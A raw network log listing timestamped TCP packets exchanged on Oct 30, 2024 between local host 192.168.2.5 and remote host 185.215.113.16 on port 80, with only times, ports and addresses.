Oct 30, 2024 00:21:14.072525978 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072540045 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072551012 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072561979 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072568893 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072572947 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072585106 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072585106 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072596073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072607040 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072607040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072618008 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072619915 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072630882 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072640896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072643995 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072653055 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.072666883 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072674990 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.072699070 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073401928 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073415041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073425055 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073435068 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073446035 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073452950 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073467970 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073487043 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073868990 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073925972 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073936939 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073946953 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073959112 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073966026 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073968887 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073982954 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.073992014 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.073996067 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074007034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074016094 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.074018955 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074029922 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074034929 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.074039936 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074054956 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.074076891 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.074244022 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.074939966 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074950933 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074960947 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074971914 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074976921 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.074981928 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074992895 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.074992895 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075006008 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075016975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075017929 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075027943 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075037003 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075040102 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075048923 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075052023 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075073957 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075092077 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075848103 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075860023 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075869083 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075881004 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075891018 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075901985 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075905085 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075913906 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075925112 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075933933 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075937986 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075946093 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075956106 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.075958014 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075969934 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.075994015 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076570034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076621056 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076750994 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076761961 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076771975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076781988 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076788902 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076792002 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076802969 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076807976 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076812983 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076823950 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076829910 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076834917 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076845884 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076848030 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076858997 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076859951 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076872110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.076885939 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.076910973 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078095913 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078109026 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078119040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078129053 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078139067 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078144073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078151941 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078155041 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078167915 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078176022 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078177929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078190088 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078197002 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078206062 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078217030 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078222990 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078234911 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078236103 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078244925 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078258991 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078258991 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078270912 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078284979 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078299046 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078320980 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.078974009 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078984976 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.078994036 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079008102 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079013109 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079016924 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079027891 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079031944 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079040051 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079052925 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079061031 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079065084 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079077005 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079081059 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079087019 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079097986 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079102039 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079108000 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079123020 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079144001 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079911947 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079925060 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079935074 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079945087 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079955101 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079957008 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079966068 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079972029 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.079978943 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079989910 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.079999924 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080004930 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080012083 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080024958 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080029011 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080040932 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080041885 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080065012 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080086946 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080739975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080751896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080761909 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080774069 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080784082 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080784082 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080795050 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080805063 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080806017 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080820084 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080831051 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080831051 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080842972 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080851078 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080851078 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.080871105 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.080895901 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.206710100 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.206747055 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.206759930 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.206837893 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.206880093 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.206892967 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.206899881 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.206901073 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.206907034 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207011938 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.207150936 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207165956 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207178116 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207220078 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.207274914 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.207319975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207336903 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207343102 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207372904 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207381964 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207391024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207397938 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207402945 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207408905 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207432985 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.207547903 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.207951069 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.207967043 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208003998 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.208014965 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208026886 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208028078 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.208034039 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208041906 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208045959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208100080 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.208570957 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208583117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208589077 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208594084 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208599091 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208604097 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208616018 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208622932 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208627939 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208635092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208640099 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208647013 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.208651066 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.208725929 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.209461927 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209475040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209486008 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209491968 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209497929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209502935 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209508896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209513903 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209520102 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209525108 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209531069 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209530115 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.209537029 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.209659100 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.210413933 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210426092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210437059 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210442066 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210448027 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210452080 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210458040 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210463047 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210468054 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210468054 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.210474014 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210480928 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210486889 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210491896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210501909 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.210607052 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.211169004 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211182117 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211188078 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211283922 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211292028 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.211298943 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211306095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211311102 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211337090 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211343050 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211348057 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211354017 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211359024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.211452007 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.212259054 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212270975 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212276936 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212282896 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212290049 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212296009 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212301016 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212316990 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212323904 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212330103 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212335110 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212341070 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212347031 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.212402105 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.212434053 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.213186979 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213200092 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213206053 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213211060 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213217020 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213222980 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213227987 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213233948 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213243961 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213254929 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213259935 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213267088 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213272095 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.213332891 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.213359118 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.214109898 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214122057 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214133024 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214144945 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214154959 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214162111 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.214169025 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214181900 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214194059 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214204073 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214215994 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214217901 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.214226961 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214240074 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.214247942 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.214248896 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.214270115 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.214288950 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.215039015 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215051889 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215061903 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215074062 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215085030 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215092897 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.215095043 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215106964 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215118885 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215121031 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.215121031 CET	59787	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:14.215131044 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215143919 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215153933 CET	80	59787	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:14.215168953 CET	80	59787	185.215.113.16	192.168.2.5
